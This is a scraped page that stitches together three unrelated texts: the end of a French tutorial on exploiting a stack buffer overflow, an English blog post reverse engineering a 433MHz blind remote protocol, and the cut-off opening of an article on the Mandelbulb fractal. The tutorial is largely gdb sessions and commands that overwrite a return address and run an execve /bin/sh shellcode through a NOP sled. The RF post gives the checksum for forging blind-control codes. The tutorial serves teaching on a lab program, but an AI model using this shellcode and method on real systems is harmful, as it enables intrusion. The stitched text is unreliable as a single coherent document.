Notre registre _EIP_ \(celui qui pointe sur la prochaine instruction à
exécuter\) à la valeur _0x41414141_ soit _AAAA_. Lorsque le programme va
tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le
contenu de cette zone mémoire et va donc planter. Par contre, si on arrive à
écrire une adresse valide, il est techniquement possible de faire exécuter du
code non prévu à notre programme, lors de la restauration de l'adresse de
retour de _f_.

[code]

    time0ut# gdb -q buffer_overflow
    Reading symbols from time0ut/buffer_overflow...done.
    gdb$ dis unused_function
    Dump of assembler code for function unused_function:
       0x080482a0 <+0>:	push   ebp
       0x080482a1 <+1>:	mov    ebp,esp
       0x080482a3 <+3>:	sub    esp,0x18
       0x080482a6 <+6>:	mov    DWORD PTR [esp],0x80ae8e8
       0x080482ad <+13>:	call   0x8048fd0 <puts>
       0x080482b2 <+18>:	leave
       0x080482b3 <+19>:	ret
    End of assembler dump.
    gdb$ q
    time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
    i = 134513318
    Impossible => fonction non utilisee
    Erreur de segmentation (core dumped)
    
[/code]

Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs
fois, de façon à écraser non seulement la valeur _i_ , mais aussi la valeur de
retour de _f_. Cette adresse pointe sur le _printf_ de notre fonction
_unused\_function_. Lorsque _f_ se termine, la valeur de retour devient
_0x080482a6_ \(\xa6\x82\x04\x08 en little endian\) et le programme exécute
l'instruction se trouvant à cette adresse. Le _printf_ de _unused\_function_
qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné
qu'on a complètement court-circuité toute la structure du programme a un
moment ou à un autre, le programme se plante.

[code]

    time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
    Reading symbols from time0ut/buffer_overflow...done.
    gdb$ dis main
    Dump of assembler code for function main:
       0x080482e9 <+0>:	push   ebp
       0x080482ea <+1>:	mov    ebp,esp
       0x080482ec <+3>:	and    esp,0xfffffff0
       0x080482ef <+6>:	sub    esp,0x10
       0x080482f2 <+9>:	cmp    DWORD PTR [ebp+0x8],0x2
       0x080482f6 <+13>:	je     0x804832c <main+67>
       0x080482f8 <+15>:	mov    eax,ds:0x80ce624
       0x080482fd <+20>:	mov    edx,eax
       0x080482ff <+22>:	mov    eax,0x80ae914
       0x08048304 <+27>:	mov    DWORD PTR [esp+0xc],edx
       0x08048308 <+31>:	mov    DWORD PTR [esp+0x8],0x1d
       0x08048310 <+39>:	mov    DWORD PTR [esp+0x4],0x1
       0x08048318 <+47>:	mov    DWORD PTR [esp],eax
       0x0804831b <+50>:	call   0x8048e70 <fwrite>
       0x08048320 <+55>:	mov    DWORD PTR [esp],0x1
       0x08048327 <+62>:	call   0x8048c20 <exit>
       0x0804832c <+67>:	mov    eax,DWORD PTR [ebp+0xc]
       0x0804832f <+70>:	add    eax,0x4
       0x08048332 <+73>:	mov    eax,DWORD PTR [eax]
       0x08048334 <+75>:	mov    DWORD PTR [esp],eax
       0x08048337 <+78>:	call   0x80482b4 <f>
       0x0804833c <+83>:	mov    eax,0x0    # Adresse de retour de f
       0x08048341 <+88>:	leave
       0x08048342 <+89>:	ret
    End of assembler dump.
    gdb$ b *0x80482ce    # avant le strcpy
    Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
    gdb$ b *0x80482d3    # après le strcpy
    Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
    gdb$ r
    Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
    gdb$ x/8xw buffer
    0xbffff230:	0xbffff244	0x080489a0	0x5cdd3700	0x00000001
    0xbffff240:	0xbffff190	0x08048db5	0xbffff1a8	0x0804833c   # eip a été sauvegardé ici
    gdb$ n
    Breakpoint 2, f at buffer_overflow.c:12
    12		printf("i = %u\n",i);
    gdb$ x/8xw buffer
    0xbffff230:	0x080482a6	0x080482a6	0x080482a6	0x080482a6
    0xbffff240:	0x080482a6	0x080482a6	0x080482a6	0x080482a6   # On a modifié la valeur
    gdb$ x/2i 0x080482a6
       0x80482a6 
[/code]

: mov DWORD PTR \[esp\],0x80ae8e8 0x80482ad

: call 0x8048fd0 <puts>

La mémoire ressemble après le _strcpy_ à cela :

<img src='img/Temp2_2485.png' width='481' height='311' />

Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de _EIP_
, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément
simple de connaître cette adresse de façon précise.  
La distance séparant les variables locales d'une fonction à la sauvegarde du
registre _EIP_ ne peut pas toujours être connue. Cela dépend du système sur
lequel on se trouve et de la façon dont a été compilé le programme. Certains
compilateurs peuvent ajouter des protections, du padding... La façon dont a
été compilé le programme enlève toutes les protections, cependant gcc peut
ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de _f_ :

[code]

       0x080482b4 <+0>:	push   ebp
       0x080482b5 <+1>:	mov    ebp,esp
       0x080482b7 <+3>:	sub    esp,0x28
    
[/code]

[/code]

[code]

40 octets \(0x28\) sont réservés pour les variables locales, alors que
seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse
souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber \(en
tout cas pour cet exemple\). C'est peu élégant, mais efficace. Une technique
plus élégante consiste à utiliser des utilitaires de metasploit :
_pattern\_create.rb_ et _pattern\_offset.rb_. L'idée consiste à générer un
pattern suffisamment long avec _pattern\_create.rb_ , à le passer au programme
pour le planter et enfin à regarder la valeur de _EIP_. Il suffit de passer la
valeur de _EIP_ à **pattern\_offset.rb** qui nous donnera la taille nécessaire
pour arriver jusqu'au registre \(et donc d'ajouter 4 octets supplémentaire
pour l'écraser\). Merci à m\_101 pour m'avoir fait découvrir ces outils sur
son blog.

[code]

    time0ut# /msf3/tools/pattern_create.rb 50
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
    time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
    i = 1093951809
    Erreur de segmentation (core dumped)
    time0ut# gdb -q buffer_overflow -c core
    Reading symbols from time0ut/buffer_overflow...done.
    [New Thread 6873]
    Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x62413961 in ?? ()
    gdb$ q
    time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
    28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
    time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
    i = 134513318
    Impossible => fonction non utilisee
    Erreur de segmentation (core dumped)
    
[/code]

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui
est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si
celui-ci ne fait pas parti du programme initial. Pour cela, il faut être
capable de mapper ce code dans la mémoire du programme. Une fois cela
effectué, il suffira d'utiliser la technique décrite précédemment pour
l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du
programme comme par exemple le passer en ligne de commande, directement dans
le buffer source de la vulnérabilité. Cependant ici on va utiliser une
technique plus simple et plus sûre, on va passer notre code par variable
d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même
s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va
être de connaître l'adresse de notre variable, car il va falloir pointer
dessus. Pour cela le programme suivant doit faire parti de notre boite à
outils :

[code]

    #include <stdio.h>
    #include <stdlib.h>
     
    int main(int argc,char**argv) {
       char *addr;
       if(argc != 2) {
          printf("Usage: %s env_variable\n",argv[0]);
          exit(EXIT_FAILURE);
       }
       addr = getenv(argv[1]);
       if(addr == NULL) {
          printf("Environnement variable %s does not exist\n",argv[1]);
       } else {
          printf("%s is located at %p\n",argv[1],addr);
       }
     
       return EXIT_SUCCESS;
    }
[/code]

Ce programme permet de connaître l'adresse d'une variable d'environnement \(si
elle existe\). D'un programme à l'autre, l'adresse d'une variable
d'environnement varie peu.

[code]

    time0ut# ./get_env PATH
    PATH is located at 0xbffffc15
    
[/code]

Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir
un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet
article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm
par exemple.

[code]

    time0ut# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
    00000000  31C0              xor eax,eax
    00000002  50                push eax
    00000003  682F2F7368        push dword 0x68732f2f
    00000008  682F62696E        push dword 0x6e69622f
    0000000D  89E3              mov ebx,esp
    0000000F  50                push eax
    00000010  89E2              mov edx,esp
    00000012  53                push ebx
    00000013  89E1              mov ecx,esp
    00000015  B00B              mov al,0xb
    00000017  CD80              int 0x80
    
[/code]

[/code]

[code]

Une fois en possession de notre code, on va le mettre dans une variable
d'environnement précédé d'un certain nombre d'octets ayant la valeur _0x90_.
L'opcode _0x90_ représente l'instruction _NOP_ qui ne fait rien en assembleur
si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de
pointer sur l'un des _NOP_ pour que notre shellcode s'exécute \(le programme
passera de _NOP_ en _NOP_ jusqu'à la charge utile\). Si nous n'en avions pas
mis, il aurait fallu pointer exactement sur le début de notre shellcode, à
l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un
programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la
bonne adresse. Les _NOP_ permettent donc de s'affranchir d'une erreur trop
importante sur l'adresse finale.

[code]

    time0ut# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
    time0ut# ./get_env SC
    SC is located at 0xbffffcb6
    
[/code]

On connait donc grossièrement l'adresse du premier _NOP_ de notre shellcode.
On va se laisser une marge de 50 octets histoire d'être au milieu de tous les
_NOP_ : 0xbffffce8 \(0xbffffcb6 + 50\).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de _EIP_ sur la pile
par cette adresse, pour que lors du retour de notre fonction _f_ on exécute
notre shellcode :

[code]

    time0ut# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
    i = 3221224680
    $
    
[/code]

Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est
vraiment passé avec _gdb_ :

[code]

    time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
    Reading symbols from time0ut/buffer_overflow...done.
    gdb$ b *0x080482d3   # On breakpoint après le strcpy
    Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
    gdb$ r
    Breakpoint 2, f at buffer_overflow.c:12
    12		printf("i = %u\n",i);
    gdb$ x/8xw buffer
    0xbffff230:	0xbffffce8	0xbffffce8	0xbffffce8	0xbffffce8
    0xbffff240:	0xbffffce8	0xbffffce8	0xbffffce8	0xbffffce8   # L'adresse a bien été réécrite
    gdb$ x/20xw 0xbffffce8
    0xbffffce8:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffffcf8:	0x90909090	0x90909090	0x90909090	0x90909090
    0xbffffd08:	0x90909090	0x31909090	0x2f6850c0	0x6868732f
    0xbffffd18:	0x6e69622f	0x8950e389	0xe18953e2	0x80cd0bb0
    0xbffffd28:	0x53494800	0x4e4f4354	0x4c4f5254	0x6e67693d     # On est bien sur les NOP, donc c'est gagné
    gdb$ x/5i 0xbffffce8
       0xbffffce8:	nop
       0xbffffce9:	nop
       0xbffffcea:	nop
       0xbffffceb:	nop
       0xbffffcec:	nop
    gdb$ x/10xb 0xbffffcaa
    0xbffffcaa:	0x3d	0x90	0x90	0x90	0x90	0x90	0x90	0x90
    0xbffffcb2:	0x90	0x90
    
[/code]

L'adresse du premier _NOP_ était en réalité en _0xbffffcab_ , alors que notre
programme précédent nous avait donné _0xbffffcb6_ \(soit une différence de 11
octets\). La technique des _NOP_ nous a permis de passer outre cette
approximation.

# Reverse Engineering a 433MHz Motorised Blind RF Protocol

**Created:**| _7/17/2017 11:14:24 AM_  
---|---  
**Updated:**| _7/17/2017 11:14:24 AM_  
**Author:**| __  
**Tags:**| _rf sdr_  
  

  

# Reverse Engineering a 433MHz Motorised Blind RF Protocol

##  July 15, 2017  • nickw • 5 Comments

I’ve been doing a fair bit of DIY home automation hacking lately across many
different devices - mostly interested in adding DIY homekit integrations. A
couple of months ago, my dad purchased a bulk order of RAEX 433MHz RF
motorised blinds to install around the house, replacing our existing manual
roller blinds.

<img src='img/Temp2_6905.jpg' width='904' height='468' alt='RAEX Motorised
Blind' />

Note: These blinds are the same model sold at Spotlight under the name Motion
Motorised Roller Blind

The blinds are a fantastic addition to the house, and allow me to be super
lazy opening/closing my windows, however in order to control them you need to
purchase the RAEX brand remotes. RAEX manufacture many different types of
remotes, of which, I have access to two of the types, depicted below:

<img src='img/Temp2_6890.jpg' width='70%' height='361' alt='R Type Remote' />

`R` Type Remote \(YRL2016\)

<img src='img/Temp2_6891.jpg' width='70%' height='271' alt='X Type Remote' />

`X` Type Remote \(YR3144\)

Having a remote in every room of the house isn’t feasible, since many channels
would be unused on these remotes and thus a waste of $$$ purchasing all the
remotes. Instead, multiple rooms are programmed onto the same remote.
Unfortunately due to this, remotes are highly contended for.

An alternate solution to using the RAEX remotes is to use a piece of hardware
called the RM Pro. This allows you to control the remotes via your smartphone
using their app

<img src='img/Temp2_6900.jpg' width='70%' height='561' alt='RM Pro Home
Screen' />

<img src='img/Temp2_6896.jpg' width='70%' height='561' alt='RM Pro Blind
Control Screen' />

The app is slow, buggy and for me, doesn’t fit well into the home-automation
ecosystem. I want my roller blinds to be accessible via Apple Homekit.

In order to control these blinds, I knew I’d need to either:

  1. Reverse engineer how the RM Pro App communicated with the RM Pro and piggy-back onto this
  2. Reverse engineer the RF protocol the remotes used to communicate with the blinds.

I attempted option 1 for a little while, but ruled it out as I was unable to
intercept the traffic used to communicate between the iPhone and the hub.
Therefore, I began my adventure to reverse engineer the RF protocol.

I purchased a 433MHz transmitter/receiver pair for Arduino on Ebay. In case
that link stops working, try searching Ebay for _433Mhz RF transmitter
receiver link kit for Arduino_.

<img src='img/Temp2_6889.jpg' width='50%' height='355' alt='RF Transmitter /
Receiver' />

### Initial Research

A handful of Google searches didn’t yield many results for finding a technical
specification of the protocol RAEX were using.

  * I could not find any technical specification of the protocol via FCC or patent lookup
  * Emailed RM Pro to obtain technical specification; they did not understand my English.
  * Emailed RAEX to obtain technical specification; they would not release without confidentiality agreement.
  * I did find that RFXTRX was able to control the blind via their BlindsT4 mode, which appears to also work for _Outlook Motion Blinds_.
  * After opening one of the remotes and identifying the micro-controllers in use, I was unable to find any documentation explaining a generic RF encoding scheme being used.
  * It _may_ have been possible to reverse engineer the firmware on a remote by taking an I2C dump of the ROM chip. It seems similar remotes allow dumping at any point after boot

### Capturing the data

Once my package had arrived I hooked up the receiver to an Arduino and began
searching for an Arduino sketch that could capture the data being transmitted.
I tried many things that all failed, however eventually found one that
appeared to capture the data.

Once I captured what I deemed to be enough data, I began analysing it. It was
really difficult to make any sense of this data, and I didn’t even know if
what had been captured was correct.

I did some further reading and read a few RF reverse engineering write-ups. A
lot of them experimented with the idea of using Audacity to capture the signal
via the receiver plugged into the microphone port of the computer. I thought,
why not, and began working on this.

<img src='img/Temp2_6887.jpg' width='904' height='678' alt='The RF capturing
setup' />

<img src='img/Temp2_6888.jpg' width='904' height='533' alt='Audacity capture'
/>

This captures _a lot_ of data. I captured 4 different `R` type remotes, along
with 2 different `X` type remotes, and to make things even more fun, 8
different devices pairings from the Broadlink RM Pro \(`B` type\).

From this, I was able to determine a few things

  1. The transmissions did not have a rolling code. Therefore, I could simply replay captured signals and make the blind do the exact same thing each time. This would be the worst-case scenario if I could not reverse engineer the protocol.
  2. The transmissions were repeated at least 3 times \(changed depending on the remote type being used\)

Zooming into the waveform, we can see the different parts of a captured
transmission. This example below is the capture of Remote 1, Channel 1, for
the **pairing** action:

<img src='img/Temp2_6899.jpg' width='904' height='94' alt='R1, CH1 PAIR
capture' />

Zooming in:

<img src='img/Temp2_6902.jpg' width='904' height='108' alt='Zoomed R1, CH1
PAIR capture' />

In the zoomed image you can see that the transmission begins with a
oscillating `0101` AGC pattern, followed by a further double width preamble
pattern, followed by a longer header pattern, and then by data.

This preamble, header and data is repeated 3 times for R type remotes \(The
AGC pattern is only sent once at the beginning of transmission\). This can be
seen in the first image.

Looking at this data won’t be too useful. I need a way to turn it digital and
analyse the bits and determine some patterns between different remotes,
channels and actions.

### Decoding the waveform.

We need to determine how the waveform is encoded. It’s very common for these
kinds of hardware applications to use one of the following:

  * Manchester Encoding,
  * Tri-State/Tri-bit Encoding, Additional info
  * PWM Encoding
  * Raw? high long = `11`, high short = `1`, low long = `00`, low short = `0`?

By doing some research, I was able to determine that the encoding used was
most likely manchester encoding. Let’s keep this in mind for later.

### Digitising the data

I began processing the data as the raw scheme outlined above \(even though I
believed it was manchester\). The reason for this is that if it happened to
not be manchester, I could try decode it again with another scheme. \(Also
writing out raw by hand was easier than doing manchester decoding in my
head\).

I wrote out each capture into a Google Sheets spreadsheet. It took about 5
minutes to write out each action for each channel, and there were 6 channels
per remote. I began to think this would take a while to actually get enough
data to analyse. \(Considering I had 160 captures to digitise\)

I stopped once I collected all actions from 8 different channels across 2
remotes. This gave me 32 captures to play with. From this much data, I was
able to infer a few things about the raw bits:

  * Some bits changed per channel
  * Some bits changed per remote.
  * Some bits changed seemingly randomly for each channel/remote/action combination. 
    * Could this be some sort of checksum?

I still needed more data, but I had way too many captures to decode by hand.
In order to get anywhere with this, I needed a script to process WAV files I
captured via Audacity. I wrote a script that detected headers and extracted
data as its raw encoding equivalent \(as I had been doing by hand\). This
script produced output in JSON so I could add additional metadata and cross-
check the captures with the waveform:

[code]

    [
      {
        "filename": "/Users/nickw/Dropbox/RF_Blinds/Export_Audio2/tracks2/R1_CH1.wav",
        "captures": [
          {
            "data": "01100101100110011001100101101001011010010110011010011010101010101010101010011001101010101010101010101010101",
            "header_pos": 15751,
            "preamble_pos": 15071
          },
          {
            "data": "01100101100110011001100101101001011010010110011010100110101010101001101010011001101010101010101010101010101",
            "header_pos": 46307,
            "preamble_pos": 45628
          },
          {
            "data": "01100101100110011001100101101001011010010110011010010110101010101010011010011001101010101010101010101010101",
            "header_pos": 73514,
            "preamble_pos": 72836
          },
          {
            "data": "01100101100110011001100101101001011010010110011010101010101010100101010101101001011010101010101010101010101",
            "header_pos": 103575,
            "preamble_pos": 102895
          }
        ]
      }
    ]
[/code]

Once verified, I tabulated this data and inserted it into my spreadsheet for
further processing. Unfortunately there was too many bits per capture to keep
myself sane:

<img src='img/Temp2_6903.jpg' width='904' height='86' alt='Raw captures inside
a spreadsheet' />

I decided it would be best if I decoded this as manchester. To do this, I
wrote a script that processes the raw capture data into manchester \(or other
encoding types\). Migrating this data into my spreadsheet, it begins to make a
lot more sense.

<img src='img/Temp2_6901.jpg' width='904' height='142' alt='Manchester
captures inside a spreadsheet' />

Looking at this data we can immediately see some relationship between the bits
and their purpose:

  * 6 bits for channel \(`C`\)
  * 2 bits for action \(`A`\)
  * 6 bits for some checksum, appears to be a function of action and channel. `F(A, C)`
    * Changes when action changes
    * Changes when channel changes.
    * Cannot be certain it changes across remotes, since no channels are equal.
  * 1 bit appears to be a function of Action `F(A)`
  * 1 bit appears to be a function of `F(A)`, thus, `G(F(A))`. It changes depending on `F(A)`’s value, sometimes 1-1 mapping, sometimes inverse mapping.

After some further investigation, I determined that for the same remote and
channel, for each different action, the `F(A, C)` increased by 1. \(if you
consider the bits to be big-endian.\).

<img src='img/Temp2_6904.jpg' width='904' height='126' alt='Encoded value
increasing per different action' />

Looking a bit more into this, I also determined that for adjacent channels,
the bits associated with `C` \(Channel\) count upwards/backwards \(X type
remotes count upwards, R type remotes count backward\). Additionally `F(C)`
also increases/decreases together. Pay attention to the `C` column.

<img src='img/Temp2_6892.jpg' width='904' height='168' alt='Encoded value
increasing with adjacent channels' />

From this, I can confirm a relationship between `F(A, C)` and `C`, such that
`F(A, C) = F(PAIR, C0) == F(PAIR, C1) ± 1`. After this discovery, I also
determine that there’s another mathematical relationship between `F(A, C)` and
`A` \(Action\).

### Making More Data

From the information we’ve now gathered, it seems plausible that we can create
new remotes by changing 6 bits of channel data, and mutating the checksum
accordingly, following the mathematical relationship we found above. This
means we can generate 64 channels from a single seed channel. This many
channels is enough to control all the blinds in the house, however I really
wanted to fully decode the checksum field and in turn, be able to generate an
\(almost\) infinite amount of remotes.

I wrote a tool to output all channels for a seed capture:

[code]

    ./remote-gen generate 01000110110100100001010110111111111010101
    ...
[/code]

My reasoning behind generating more data was that maybe we could determine how
the checksum is formed if we can view different remotes on the same channel.
I.e. `R0CH0`, `R1CH0`, `X1CH0`, etc…

Essentially what I wanted to do was solve the following equation’s function
`G`:

[code]

    F(ACTION_PAIR, CH0) == G(F(ACTION_PAIR, CH0))
[/code]

However, looking at all Channel 0’s PAIR captures, the checksum still appeared
to be totally jumbled/random:

<img src='img/Temp2_6895.jpg' width='904' height='146' alt='Identical channels
/ action jumbled checksums' />

Whilst looking at this data, however, another pattern stands out. `G(F(A))`
sits an entire byte offset \(8 bits\) away from `F(A)`. Additionally the first
2 bits of `F(A, C)` sit at the byte boundary and also align with `A`
\(Action\). As Action increases, so does `F(A, C)`. Lets line up all the bits
at their byte boundaries and see what prevails:

<img src='img/Temp2_6897.jpg' width='904' height='175' alt='Identified
Boundaries' />

Colours denoting byte boundaries

<img src='img/Temp2_6893.jpg' width='904' height='516' alt='Aligned byte
boundaries' />

Aligned boundaries

From here, we need to determine some function that produces the known checksum
based on the first 4 bytes. Initially I try to do XOR across the bytes:

<img src='img/Temp2_6898.jpg' width='904' height='197' alt='Attempt to find
checksum function via XOR' />

Not so successful. The output appears random and XOR’ing the output with the
checksum does not produce a constant key. Therefore, I deduce the checksum
isn’t produced via XOR. How about mathematical addition? We’ve already seen
some addition/subtraction relationship above.

<img src='img/Temp2_6894.jpg' width='904' height='370' alt='Attempt to find
checksum function via addition' />

This appeared to be more promising - there was a constant difference between
channels for identical type remotes. Could this constant be different across
different type remotes because my generation program had a bug? Were we not
wrapping the correct number of bits or using the wrong byte boundaries when
mutating the channel or checksum?

_It turns out that this was the reason_ 😑.

### Solving the Checksum

Looking at the original captures, and performing the same modulo additions, we
determine the checksum is computed by adding the leading 4 bytes and adding 3.
I can’t determine why a `3` is used here, other than RAEX wanting to make
decoding their checksum more difficult or to ensure a correct transmission
pattern.

I refactored my application to handle the boundaries we had just identified:

[code]

    type RemoteCode struct {
        LeadingBit uint // Single bit
        Channel    uint8
        Remote     uint16
        Action     uint8
        Checksum   uint8
    }
[/code]

Looking at the data like this began to make more sense. It turns out that
`F(A)` wasn’t a function of `A` \(Action\), it was actually part of the action
data being transmitted:

[code]

    type BlindAction struct {
        Name  string
        Value uint8
    }
    
    var validActions = []BlindAction{
        BlindAction{Value: 127, Name: "PAIR"},
        BlindAction{Value: 252, Name: "DOWN"},
        BlindAction{Value: 253, Name: "STOP"},
        BlindAction{Value: 254, Name: "UP"},
    }
[/code]

Additionally, the fact there is a split between channel and remote probably
isn’t necessary. Instead this could just be an arbitrary 24 bit integer,
however it is easier to work with splitting it up as an 8 bit int and a 16 bit
int. Based on this, I can deduce that the protocol has room for 2^24 remotes
\(~16.7 million\)\! That’s a lot of blinds\!

I formally write out the checksum function:

[code]

    func (r *RemoteCode) GuessChecksum() uint8 {
        return r.Channel + r.Remote.GetHigh() + r.Remote.GetLow() + r.Action.Value + 3
    }
[/code]

### Additional Tooling

My `remote-gen` program was good for the purpose of generating codes using a
seed remote \(although, incorrect due to wrapping issues\), however it now
needed some additional functionality.

I needed a way to extract information from the captures and verify that all
their checksums align with our rule-set for generating checksums. I wrote an
info command:

[code]

    ./remote-gen info 00010001110001001101010111011111101010100 --validate
    Channel:    196
    Remote:     54673
    Action:     STOP
    Checksum:          42
    Guessed Checksum:  42
[/code]

Running with `--validate` exits with an error if the guessed checksum \!=
checksum. Running this across all of our captures proved that our checksum
function was correct.

Another piece of functionality the tool needed was the ability to generate
arbitrary codes to create our own _remotes_ :

[code]

    ./remote-gen create --channel=196 --remote=54654 --verbose
    00010001101111110101010111111111010011001    Action: PAIR
    00010001101111110101010110011111101101000    Action: DOWN
    00010001101111110101010111011111111101000    Action: STOP
    00010001101111110101010110111111100011000    Action: UP
[/code]

I now can generate any remote I deem necessary using this tool.

### Wrapping Up

There you have it, that’s how I reverse engineered an unknown protocol. I plan
to follow up this post with some additional home-automation oriented blog
posts in the future.

From here I’m going to need to build my transmitter to transmit my new,
generated codes and build an interface into homekit for this via my homebridge
program.

You can view all the work related to this project in the
nickw444/homekit/blindkit repo.

  * 5 comments
  * **nickwhyte.com**
  * Login
  * 1

  *  Recommend 1
  * ⤤ Share
  * Sort by Best

<img src='img/8984_noavatar92.7b2fde640943965cc88df0cdee365907.png' width='48'
height='48' alt='Avatar' />

Join the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

  *     * −
    *  _⚑_
<img src='img/8981_noavatar92.png' width='48' height='48' alt='Avatar' />

Matthew Garrett • 17 hours ago

https://github.com/mjg59/py... has an implementation of the RM Pro protocol,
if you ever end up wanting to go that way again

    *       * −
      *  _⚑_
<img src='img/8981_noavatar92.png' width='36' height='36' alt='Avatar' />

nickw444 Mod _>_ Matthew Garrett • 17 hours ago

Hey @Matthew Garrett, Funny you link to that library, that was actually my
starting point for trying to communicate with the Broadlink RM Pro. I should
have mentioned that in the write up.

Unfortunately I couldn't work with it for the following reasons:

1\. The broadlink RM Pro talks to these blinds by generating its own codes. It
does the full pairing sequence rather than just re-broadcasting the existing
remotes. Attempting to do the standard "capture and replay" approach doesn't
actually work for these blinds \(and I have no clue why\).

2\. Even if it did work for these blinds, I still couldn't work out if the
python library was instructing the RM Pro to capture RF or IR. In the
broadlink app, you need to explicitly tell it if the device is RF or IR when
adding it.

  *     * −
    *  _⚑_
<img src='img/8981_noavatar92.png' width='48' height='48' alt='Avatar' />

James Skarzinskas • 18 hours ago

Excellent article - that's a neat trick with Audacity. Thank you for
explaining how to identify the encoding of the waveform.

  *     * −
    *  _⚑_
<img src='img/8981_noavatar92.png' width='48' height='48' alt='Avatar' />

stephennancekivell • a day ago

Legend\! Thats a great write up, and gives me some ideas.

  *     * −
    *  _⚑_
<img src='img/8981_noavatar92.png' width='48' height='48' alt='Avatar' />

Chip • 15 hours ago

Looking at the action values seems to suggest the bitstream should be inverted
for analysis. That would give you action values of 1,2,3,128.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' /><img src='' width='0' height='0' />

  

  *[
July 15, 2017

]: 2017-07-15T00:00

# Mandelbulb: The Unravelling of the Real 3D Mandelbrot Fractal

**Created:**| _11/16/2009 8:33:44 PM_  
---|---  
**Updated:**| _11/16/2009 8:34:02 PM_  
**Author:**| __  
**Tags:**| _bookmark art_  
  
  
---  
|  
  
TIMESTAMP 08/11/2009. The original Mandelbrot is an amazing object that has
captured the public's imagination for 30 years with its cascading patterns and
hypnotically colourful detail. It's known as a 'fractal' - a type of shape
that yields \(sometimes elaborate\) detail forever, no matter how far you
'zoom' into it \(think of the trunk of a tree sprouting branches, which in
turn split off into smaller branches, which themselves yield twigs etc.\).  
  
It's found by following a relatively simple math formula. But in the end, it's
still only 2D and flat - there's no depth, shadows, perspective, or light
sourcing. What we have featured in this article is a potential 3D version of
the same fractal. For the impatient, you can skip to the nice pics, but the
below makes an interesting read \(with a little math as well for the
curious\).  
  
  
  
|

  * Background  

  * Opening Pandora's Box for the second time  

  * Is this merely a fool's quest?  

  * Resulting renders  

  * Page 2: Experimenting with iterations and powers  

  * Page 2: Further exploration of the creature  

  * Page 2: Epilogue: Is this... the real 3D Mandelbrot then?  

  
---  
  

  

  

  

  

  

## Background

It's been almost two years since we last wrote about the potential for a real
3D equivalent to the famous 2D Mandelbrot set. We're talking about a fractal
which produces exquisite detail on all axes and zoom levels; one that doesn't
simply produce the 'extruded' look of the various height-mapped images, or the
'whipped cream' swirls of the Quaternion approach.  
  
The article received a degree of popularity, but in the end, the problem
remained open, and the Mandelbrot refused to relinquish its deepest secret. At
times, it felt tempting to give up the search, but the potential for the thing
is too great - we are talking about the Holy Grail of fractals after all.

  

  

  

## Opening Pandora's Box For the Second Time

<img src='img/Temp2_5184.png' /><img src='img/Temp2_5188.png' />O  
---  
ur story starts with a guy named Rudy Rucker, an American mathematician,
computer scientist and science fiction author \(and in fact one of the
founders of the cyberpunk science-fiction movement\). Around 20 years ago,
along with other approaches, he first imagined the concept behind the
potential 3D Mandelbulb \(barring a small mistake in the formula, which
nevertheless still can produce very interesting results - see later\), and
also wrote a short story about the 3D Mandelbrot in 1987 entitled "As Above,
So Below" \(also see his blog entry and notebook\). Back then of course, the
hardware was barely up to the task of rendering the 2D Mandelbrot, let alone
the 3D version - which would require billions of calculations to see the
results, making research in the area a painstaking process to say the least.  
  
So the idea slumbered for 20 years until around 2007. I then independently
pictured the same concept and published the formula for the first time in
